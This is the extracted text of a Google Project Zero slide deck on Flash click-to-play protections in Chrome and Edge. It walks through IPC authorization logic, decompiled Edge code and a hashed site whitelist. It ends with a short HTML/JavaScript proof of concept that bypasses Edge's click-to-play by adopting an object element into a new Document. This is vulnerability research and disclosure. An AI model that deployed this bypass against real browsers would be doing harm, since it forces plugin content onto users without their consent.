Flash click2play in Web Browsers and other Horror Stories
Ivan Fratric, Google Project Zero
About me
Flash in HTML
<object width="500" height="500">
<param name="movie" value="filename.swf">
<embed src="filename.swf" width="500" height="500"></embed>
</object>
<object data="filename.swf" width="500" height="500"></object>
<embed src="filename.swf" width="500" height="500"></embed>
Flash 0days in the wild
Do attackers still care about Flash?
Possible approaches
How to start auditing?
Click2play in Chrome
Renderer process
Browser process
Plugin process
Click2play in Chrome
Renderer process
Browser process
Plugin process
GetPluginInfo
Click2play in Chrome
Renderer process
Browser process
Plugin process
GetPluginInfo
✘
Click2play in Chrome
Renderer process
Browser process
Plugin process
GetPluginInfo
✓
authorized_plugins[pid]
= c:\path\to\flash\plugin
Click2play in Chrome
Renderer process
Browser process
Plugin process
GetPluginInfo
✓
authorized_plugins[pid]
= c:\path\to\flash\plugin
OpenChannelToPepperPlugin
Click2play in Chrome
Renderer process
Browser process
Plugin process
GetPluginInfo
✓
authorized_plugins[pid]
= c:\path\to\flash\plugin
OpenChannelToPepperPlugin
✓
Click2play in Chrome
Renderer process
(evil)
Browser process
Plugin process
OpenChannelToPepperPlugin
Click2play in Chrome
Renderer process
(evil)
Browser process
Plugin process
authorized_plugins[pid]
= []
OpenChannelToPepperPlugin
Click2play in Chrome
Renderer process
(evil)
Browser process
Plugin process
authorized_plugins[pid]
= []
OpenChannelToPepperPlugin
✘
Click2play in Chrome
Renderer process
Browser process
Plugin process
GetPluginInfo
✓
authorized_plugins[pid]
= c:\path\to\flash\plugin
OpenChannelToPepperPlugin
✓
Click2play in Chrome
Click2play in Chrome
Click2play in Chrome
HostContentSettingsMap::GetWebsiteSetting
↑
PluginUtils::GetFlashPluginContentSetting
↑
ChromePluginServiceFilter::IsPluginAvailable
↑
PluginInfoHostImpl::Context::FindEnabledPlugin
↑
PluginInfoHostImpl::PluginsLoaded
↑
PluginInfoHostImpl::GetPluginInfo
Click2play in Chrome
HostContentSettingsMap::GetWebsiteSetting
↑ ↓ returns CONTENT_SETTING_DETECT_IMPORTANT_CONTENT
PluginUtils::GetFlashPluginContentSetting
↑ ↓ returns CONTENT_SETTING_DETECT_IMPORTANT_CONTENT
ChromePluginServiceFilter::IsPluginAvailable
↑
PluginInfoHostImpl::Context::FindEnabledPlugin
↑
PluginInfoHostImpl::PluginsLoaded
↑
PluginInfoHostImpl::GetPluginInfo
Click2play in Chrome
HostContentSettingsMap::GetWebsiteSetting
↑ ↓ returns CONTENT_SETTING_DETECT_IMPORTANT_CONTENT
PluginUtils::GetFlashPluginContentSetting
↑ ↓ returns CONTENT_SETTING_DETECT_IMPORTANT_CONTENT
ChromePluginServiceFilter::IsPluginAvailable
↑ ↓ returns false
PluginInfoHostImpl::Context::FindEnabledPlugin
↑
PluginInfoHostImpl::PluginsLoaded
↑
PluginInfoHostImpl::GetPluginInfo
Click2play in Chrome
HostContentSettingsMap::GetWebsiteSetting
↑ ↓ returns CONTENT_SETTING_DETECT_IMPORTANT_CONTENT
PluginUtils::GetFlashPluginContentSetting
↑ ↓ returns CONTENT_SETTING_DETECT_IMPORTANT_CONTENT
ChromePluginServiceFilter::IsPluginAvailable
↑ ↓ returns false
PluginInfoHostImpl::Context::FindEnabledPlugin
↑ ↓ returns true
PluginInfoHostImpl::PluginsLoaded
↑
PluginInfoHostImpl::GetPluginInfo
Click2play in Chrome
HostContentSettingsMap::GetWebsiteSetting
↑ ↓ returns CONTENT_SETTING_DETECT_IMPORTANT_CONTENT
PluginUtils::GetFlashPluginContentSetting
↑ ↓ returns CONTENT_SETTING_DETECT_IMPORTANT_CONTENT
ChromePluginServiceFilter::IsPluginAvailable
↑ ↓ returns false
PluginInfoHostImpl::Context::FindEnabledPlugin
↑ ↓ returns true
PluginInfoHostImpl::PluginsLoaded
↑ ↓ returns kFlashHiddenPreferHtml
PluginInfoHostImpl::GetPluginInfo
Click2play in Chrome
HostContentSettingsMap::GetWebsiteSetting
↑ ↓ returns CONTENT_SETTING_DETECT_IMPORTANT_CONTENT
PluginUtils::GetFlashPluginContentSetting
↑ ↓ returns CONTENT_SETTING_DETECT_IMPORTANT_CONTENT
ChromePluginServiceFilter::IsPluginAvailable
↑ ↓ returns false
PluginInfoHostImpl::Context::FindEnabledPlugin
↑ ↓ returns true
PluginInfoHostImpl::PluginsLoaded
↑ ↓ returns kFlashHiddenPreferHtml
PluginInfoHostImpl::GetPluginInfo
Click2play in Edge
FlashClickToRunHelper::DetermineControlAction
void FlashClickToRunHelper::DetermineControlAction(Element, bool *allowed, bool *blocked) {
…
if(FlashClickToRunHelper::IsUserTrusted(site_url, document) {
*allowed = 1;
} else {
*allowed = FlashClickToRunPlatformListHelper::IsTrustedByPlatform(site_url, perm);
if(!*allowed) {
*allowed = FlashClickToRunPlatformListHelper::IsTrustedByPlatform(object_url, 4);
}
}
}
FlashClickToRunHelper::DetermineControlAction
void FlashClickToRunHelper::DetermineControlAction(Element, bool *allowed, bool *blocked) {
…
if(FlashClickToRunHelper::IsUserTrusted(site_url, document) {
*allowed = 1;
} else {
*allowed = FlashClickToRunPlatformListHelper::IsTrustedByPlatform(site_url, perm);
if(!*allowed) {
*allowed = FlashClickToRunPlatformListHelper::IsTrustedByPlatform(object_url, 4);
}
}
}
Check if
FlashClickToRunHelper::DetermineControlAction
void FlashClickToRunHelper::DetermineControlAction(Element, bool *allowed, bool *blocked) {
…
if(FlashClickToRunHelper::IsUserTrusted(site_url, document) {
*allowed = 1;
} else {
*allowed = FlashClickToRunPlatformListHelper::IsTrustedByPlatform(site_url, perm);
if(!*allowed) {
*allowed = FlashClickToRunPlatformListHelper::IsTrustedByPlatform(object_url, 4);
}
}
}
???
FlashClickToRunHelper::DetermineControlAction
void FlashClickToRunHelper::DetermineControlAction(Element, bool *allowed, bool *blocked) {
…
if(FlashClickToRunHelper::IsUserTrusted(site_url, document) {
*allowed = 1;
} else {
*allowed = FlashClickToRunPlatformListHelper::IsTrustedByPlatform(site_url, perm);
if(!*allowed) {
*allowed = FlashClickToRunPlatformListHelper::IsTrustedByPlatform(object_url, 4);
}
}
}
Leads down to
FlashClickToRunPlatformListHelper::
GetPlatformTrustedResult
GetPlatformTrustedResult?
char __fastcall FlashClickToRunPlatformListHelper::GetPlatformTrustedResult(PUCHAR pbInput, unsigned int *a2) {
…
FlashClickToRunPlatformListHelper::EnsureMappedPlatformData();
if ( BCryptOpenAlgorithmProvider(&phAlgorithm, L"SHA256", 0i64, 0) < 0 )
Abandonment::Fail();
if ( BCryptCreateHash(phAlgorithm, &phHash, 0i64, 0, 0i64, 0, 0) < 0 )
Abandonment::Fail();
v5 = SysStringByteLen(pbInput);
if ( BCryptHashData(phHash, pbInput, v5, 0) < 0 )
Abandonment::Fail();
if ( BCryptFinishHash(phHash, &pbOutput, 0x20u, 0) < 0 )
Abandonment::Fail();
v6 = bsearch_s(
&pbOutput,
FlashClickToRunPlatformListHelper::s_platformData,
(unsigned int)FlashClickToRunPlatformListHelper::s_numEntries,
36ui64,
(int (__cdecl *)(void *, const void *, const void *))CompareHashes,
0i64);
if ( v6 ) { v2 = 1; … }
BCryptCloseAlgorithmProvider(phAlgorithm, 0);
BCryptDestroyHash(phHash);
return v2;
}
GetPlatformTrustedResult?
char __fastcall FlashClickToRunPlatformListHelper::GetPlatformTrustedResult(PUCHAR pbInput, unsigned int *a2) {
…
FlashClickToRunPlatformListHelper::EnsureMappedPlatformData();
if ( BCryptOpenAlgorithmProvider(&phAlgorithm, L"SHA256", 0i64, 0) < 0 )
Abandonment::Fail();
if ( BCryptCreateHash(phAlgorithm, &phHash, 0i64, 0, 0i64, 0, 0) < 0 )
Abandonment::Fail();
v5 = SysStringByteLen(pbInput);
if ( BCryptHashData(phHash, pbInput, v5, 0) < 0 )
Abandonment::Fail();
if ( BCryptFinishHash(phHash, &pbOutput, 0x20u, 0) < 0 )
Abandonment::Fail();
v6 = bsearch_s(
&pbOutput,
FlashClickToRunPlatformListHelper::s_platformData,
(unsigned int)FlashClickToRunPlatformListHelper::s_numEntries,
36ui64,
(int (__cdecl *)(void *, const void *, const void *))CompareHashes,
0i64);
if ( v6 ) { v2 = 1; … }
BCryptCloseAlgorithmProvider(phAlgorithm, 0);
BCryptDestroyHash(phHash);
return v2;
}
Q: Where does this come from?
GetPlatformTrustedResult?
char __fastcall FlashClickToRunPlatformListHelper::GetPlatformTrustedResult(PUCHAR pbInput, unsigned int *a2) {
…
FlashClickToRunPlatformListHelper::EnsureMappedPlatformData();
if ( BCryptOpenAlgorithmProvider(&phAlgorithm, L"SHA256", 0i64, 0) < 0 )
Abandonment::Fail();
if ( BCryptCreateHash(phAlgorithm, &phHash, 0i64, 0, 0i64, 0, 0) < 0 )
Abandonment::Fail();
v5 = SysStringByteLen(pbInput);
if ( BCryptHashData(phHash, pbInput, v5, 0) < 0 )
Abandonment::Fail();
if ( BCryptFinishHash(phHash, &pbOutput, 0x20u, 0) < 0 )
Abandonment::Fail();
v6 = bsearch_s(
&pbOutput,
FlashClickToRunPlatformListHelper::s_platformData,
(unsigned int)FlashClickToRunPlatformListHelper::s_numEntries,
36ui64,
(int (__cdecl *)(void *, const void *, const void *))CompareHashes,
0i64);
if ( v6 ) { v2 = 1; … }
BCryptCloseAlgorithmProvider(phAlgorithm, 0);
BCryptDestroyHash(phHash);
return v2;
}
Q: Where does this come from?
A: read from C:\Windows\system32\
edgehtmlpluginpolicy.bin
edgehtmlpluginpolicy.bin
edgehtmlpluginpolicy.bin
The whitelist
www.pogo.com
www.wasu.cn
www.tvnow.de
chushou.tv
more2.starfall.com
loa.gtarcade.com
nseindia.com
www.wgt.com
netgauge.unitel.ao
www.icourses.cn
www.la7.it
www.dgestilistas.es
www.zxxk.com
weathernews.jp
bigfarm.goodgamestudios.com
www.facebook.com
www.deezer.com
yahoo-mbga.jp
ok.ru
seer.61.com
empire.goodgamestudios.com
www.friv.com
video.baomihua.com
hiztesti.turktelekom.com.tr
www.scholastic.com
www.viz.com
www.dilidili.wang
games.aarp.org
www.douyu.com
rc.qzone.qq.com
www.nicovideo.jp
www.mynet.com
www.hotstar.com
www.4399.com
www.bilibili.com
www.msn.com
zone.msn.com
www.worldsurfleague.com
www.stupidvideos.com
entitlement.auth.adobe.com
video.fc2.com
www.ontvtime.ru
apps.facebook.com
www.totaljerkface.com
www.hungamatv.com
edu.glogster.com
v.pptv.com
life.pigg.ameba.jp
www.panda.tv
www.vudu.com
www.nseindia.com
music.microsoft.com
en.ikariam.gameforge.com
www.deraktionaer.tv
www.a1.net
www.poptropica.com
The whitelist
www.pogo.com
www.wasu.cn
www.tvnow.de
chushou.tv
more2.starfall.com
loa.gtarcade.com
nseindia.com
www.wgt.com
netgauge.unitel.ao
www.icourses.cn
www.la7.it
www.dgestilistas.es
www.zxxk.com
weathernews.jp
bigfarm.goodgamestudios.com
www.facebook.com
www.deezer.com
yahoo-mbga.jp
ok.ru
seer.61.com
empire.goodgamestudios.com
www.friv.com
video.baomihua.com
hiztesti.turktelekom.com.tr
www.scholastic.com
www.viz.com
www.dilidili.wang
games.aarp.org
www.douyu.com
rc.qzone.qq.com
www.nicovideo.jp
www.mynet.com
www.hotstar.com
www.4399.com
www.bilibili.com
www.msn.com
zone.msn.com
www.worldsurfleague.com
www.stupidvideos.com
entitlement.auth.adobe.com
video.fc2.com
www.ontvtime.ru
apps.facebook.com
www.totaljerkface.com
www.hungamatv.com
edu.glogster.com
v.pptv.com
life.pigg.ameba.jp
www.panda.tv
www.vudu.com
www.nseindia.com
music.microsoft.com
en.ikariam.gameforge.com
www.deraktionaer.tv
www.a1.net
www.poptropica.com
The whitelist
Uncracked hashes
Why (else) is the whitelist bad?
Why (else) is the whitelist bad?
The whitelist aftermath
The whitelist aftermath
Loading Flash
void __fastcall COleSite::ProcessObjectAfterSizeDetermined(COleSite *this)
{
…
allowed = 0;
blocked = 0;
FlashClickToRunHelper::DetermineControlAction(element, &allowed, &blocked);
if ( allowed )
{
COleSite::CreateObject(*(COleSite **)element, (struct _GUID *)(*(_QWORD *)element + 304i64));
v6 = Tree::ANode::SecurityContext(*(Tree::ANode **)element);
++*(_DWORD *)(*(_QWORD *)(*((_QWORD *)v6 + 2) + 432i64) + 4i64);
}
else
{
FlashClickToRunHelper::ShowDisabledFlashPlaceHolder(element);
}
if ( blocked )
FlashClickToRunHelper::NotifyFrameOfBlockedFlash(element);
}
Loading Flash
void __fastcall COleSite::ProcessObjectAfterSizeDetermined(COleSite *this)
{
…
allowed = 0;
blocked = 0;
FlashClickToRunHelper::DetermineControlAction(element, &allowed, &blocked);
if ( allowed )
{
COleSite::CreateObject(*(COleSite **)element, (struct _GUID *)(*(_QWORD *)element + 304i64));
v6 = Tree::ANode::SecurityContext(*(Tree::ANode **)element);
++*(_DWORD *)(*(_QWORD *)(*((_QWORD *)v6 + 2) + 432i64) + 4i64);
}
else
{
FlashClickToRunHelper::ShowDisabledFlashPlaceHolder(element);
}
if ( blocked )
FlashClickToRunHelper::NotifyFrameOfBlockedFlash(element);
}
COleSite::CreateObject
CObjectElement::FinalCreateObject
__int64 __fastcall CObjectElement::FinalCreateObject(CObjectElement *this, const unsigned __int16 *Src)
{
…
v14 = *(_QWORD *)&clsid.Data1 - *(_QWORD *)&CLSID_MacromediaSwFlash.Data1;
if ( *(_QWORD *)&clsid.Data1 == *(_QWORD *)&CLSID_MacromediaSwFlash.Data1 )
v14 = *(_QWORD *)clsid.Data4 - *(_QWORD *)CLSID_MacromediaSwFlash.Data4;
if (!v14 && (doc = Tree::ElementNode::Doc(element), CDOMPluginArray::IsFlashCreateable(markup, doc))) {
v26 = (__m128i)clsid;
*((_QWORD *)element + 44) = v36;
_mm_storeu_si128((__m128i *)element + 19, v26);
TSmartPointer<CPropertyBag,CStrongReferenceTraits,CPropertyBag *>::operator=((char *)element + 376);
_HeapReplaceString(v34, (unsigned __int16 **)element + 42);
_HeapReplaceString(v35, (unsigned __int16 **)element + 43);
_HeapReplaceString(v37, (unsigned __int16 **)element + 45);
_HeapReplaceString(v38, (unsigned __int16 **)element + 46);
v27 = Tree::ElementNode::Doc(element);
CView::AddPendingSizeDeterminationOleSite((struct CDoc *)((char *)v27 + 3528), element);
v4 = 0;
} else {
v4 = COleSite::CreateObject(element, &clsid);
}
CObjectElement::FinalCreateObject
__int64 __fastcall CObjectElement::FinalCreateObject(CObjectElement *this, const unsigned __int16 *Src)
{
…
if(clsid == CLSID_MacromediaSwFlash && CDOMPluginArray::IsFlashCreateable(markup, doc))
{
// go through the regular flow with click2play checks
CView::AddPendingSizeDeterminationOleSite(…);
} else {
// create object immediately
v4 = COleSite::CreateObject(element, &clsid);
}
CObjectElement::FinalCreateObject
__int64 __fastcall CObjectElement::FinalCreateObject(CObjectElement *this, const unsigned __int16 *Src)
{
…
if(clsid == CLSID_MacromediaSwFlash && CDOMPluginArray::IsFlashCreateable(markup, doc))
{
// go through the regular flow with click2play checks
CView::AddPendingSizeDeterminationOleSite(…);
} else {
// create object immediately
v4 = COleSite::CreateObject(element, &clsid);
}
If clsid is Flash clsid...
CObjectElement::FinalCreateObject
__int64 __fastcall CObjectElement::FinalCreateObject(CObjectElement *this, const unsigned __int16 *Src)
{
…
if(clsid == CLSID_MacromediaSwFlash && CDOMPluginArray::IsFlashCreateable(markup, doc))
{
// go through the regular flow with click2play checks
CView::AddPendingSizeDeterminationOleSite(…);
} else {
// create object immediately
v4 = COleSite::CreateObject(element, &clsid);
}
If clsid is Flash clsid...
AND Flash is NOT creatable...
CObjectElement::FinalCreateObject
__int64 __fastcall CObjectElement::FinalCreateObject(CObjectElement *this, const unsigned __int16 *Src)
{
…
if(clsid == CLSID_MacromediaSwFlash && CDOMPluginArray::IsFlashCreateable(markup, doc))
{
// go through the regular flow with click2play checks
CView::AddPendingSizeDeterminationOleSite(…);
} else {
// create object immediately
v4 = COleSite::CreateObject(element, &clsid);
}
If clsid is Flash clsid...
AND Flash is NOT creatable...
Create Flash object anyway
Actually not that trivial
__int64 __fastcall CObjectElement::FinalCreateObject(CObjectElement *this, const unsigned __int16 *Src)
{
…
if ( !(unsigned int)COleSite::AllowCreate(element, &clsid, (int *)&v31) )
{
CObjectElement::OnFailToCreate(element);
goto end;
}
…
if(clsid == CLSID_MacromediaSwFlash && CDOMPluginArray::IsFlashCreateable(markup, doc))
{
// go through the regular flow with click2play checks
CView::AddPendingSizeDeterminationOleSite(…);
} else {
// create object immediately
v4 = COleSite::CreateObject(element, &clsid);
}
Actually not that trivial
__int64 __fastcall CObjectElement::FinalCreateObject(CObjectElement *this, const unsigned __int16 *Src)
{
…
if ( !(unsigned int)COleSite::AllowCreate(element, &clsid, (int *)&v31) )
{
CObjectElement::OnFailToCreate(element);
goto end;
}
…
if(clsid == CLSID_MacromediaSwFlash && CDOMPluginArray::IsFlashCreateable(markup, doc))
{
// go through the regular flow with click2play checks
CView::AddPendingSizeDeterminationOleSite(…);
} else {
// create object immediately
v4 = COleSite::CreateObject(element, &clsid);
}
Both of these perform similar checks
Both end up calling COleSite::AllowCreateSecurityChecks
Actually not that trivial
__int64 __fastcall CObjectElement::FinalCreateObject(CObjectElement *this, const unsigned __int16 *Src)
{
…
if ( !(unsigned int)COleSite::AllowCreate(element, &clsid, (int *)&v31) )
{
CObjectElement::OnFailToCreate(element);
goto end;
}
…
if(clsid == CLSID_MacromediaSwFlash && CDOMPluginArray::IsFlashCreateable(markup, doc))
{
// go through the regular flow with click2play checks
CView::AddPendingSizeDeterminationOleSite(…);
} else {
// create object immediately
v4 = COleSite::CreateObject(element, &clsid);
}
Idea: JavaScript callback here?
Actually not that trivial
__int64 __fastcall CObjectElement::FinalCreateObject(CObjectElement *this, const unsigned __int16 *Src)
{
…
if ( !(unsigned int)COleSite::AllowCreate(element, &clsid, (int *)&v31) )
{
CObjectElement::OnFailToCreate(element);
goto end;
}
…
if(clsid == CLSID_MacromediaSwFlash && CDOMPluginArray::IsFlashCreateable(markup, doc))
{
// go through the regular flow with click2play checks
CView::AddPendingSizeDeterminationOleSite(…);
} else {
// create object immediately
v4 = COleSite::CreateObject(element, &clsid);
}
Both of these perform similar checks
Both end up calling COleSite::AllowCreateSecurityChecks
Actually not that trivial
__int64 __fastcall CObjectElement::FinalCreateObject(CObjectElement *this, const unsigned __int16 *Src)
{
…
if ( !(unsigned int)COleSite::AllowCreate(element, &clsid, (int *)&v31) )
{
CObjectElement::OnFailToCreate(element);
goto end;
}
…
if(clsid == CLSID_MacromediaSwFlash && CDOMPluginArray::IsFlashCreateable(markup, doc))
{
// go through the regular flow with click2play checks
CView::AddPendingSizeDeterminationOleSite(…);
} else {
// create object immediately
v4 = COleSite::CreateObject(element, &clsid);
}
Both of these perform similar checks
Both end up calling COleSite::AllowCreateSecurityChecks
… but possibly with different arguments
Actually not that trivial
__int64 __fastcall CObjectElement::FinalCreateObject(CObjectElement *this, const unsigned __int16 *Src)
{
…
if ( !(unsigned int)COleSite::AllowCreate(element, &clsid, (int *)&v31) )
{
CObjectElement::OnFailToCreate(element);
goto end;
}
…
if(clsid == CLSID_MacromediaSwFlash && CDOMPluginArray::IsFlashCreateable(markup, doc))
{
// go through the regular flow with click2play checks
CView::AddPendingSizeDeterminationOleSite(…);
} else {
// create object immediately
v4 = COleSite::CreateObject(element, &clsid);
}
If the element doesn’t have a markup
(it is not part of a DOM tree)
most checks get skipped and it returns true
Actually not that trivial
__int64 __fastcall CObjectElement::FinalCreateObject(CObjectElement *this, const unsigned __int16 *Src)
{
…
if ( !(unsigned int)COleSite::AllowCreate(element, &clsid, (int *)&v31) )
{
CObjectElement::OnFailToCreate(element);
goto end;
}
…
if(clsid == CLSID_MacromediaSwFlash && CDOMPluginArray::IsFlashCreateable(markup, doc))
{
// go through the regular flow with click2play checks
CView::AddPendingSizeDeterminationOleSite(…);
} else {
// create object immediately
v4 = COleSite::CreateObject(element, &clsid);
}
Returns false if document is a “Dynamic” document
PoC
<body onload="go1()">
<script>
var o;
function go1() {
o = document.createElement('object');
o.data = "https://wwwimages.adobe.com/www.adobe.com/swf/software/flash/about/flashAbout_info_small.swf";
o.type = "application/x-shockwave-flash";
o.width = 500;
o.height = 500;
var d = new Document();
d.adoptNode(o);
}
</script>
</body>
Element not a part of a DOM tree
Dynamic document
PoC
<body onload="go1()">
<script>
var o;
function go1() {
o = document.createElement('object');
o.data = "https://wwwimages.adobe.com/www.adobe.com/swf/software/flash/about/flashAbout_info_small.swf";
o.type = "application/x-shockwave-flash";
o.width = 500;
o.height = 500;
var d = new Document();
d.adoptNode(o);
setTimeout(go2, 0);
}
function go2() {
document.body.appendChild(o);
}
</script>
</body>
Element not a part of a DOM tree
Dynamic document
DEMO
Conclusion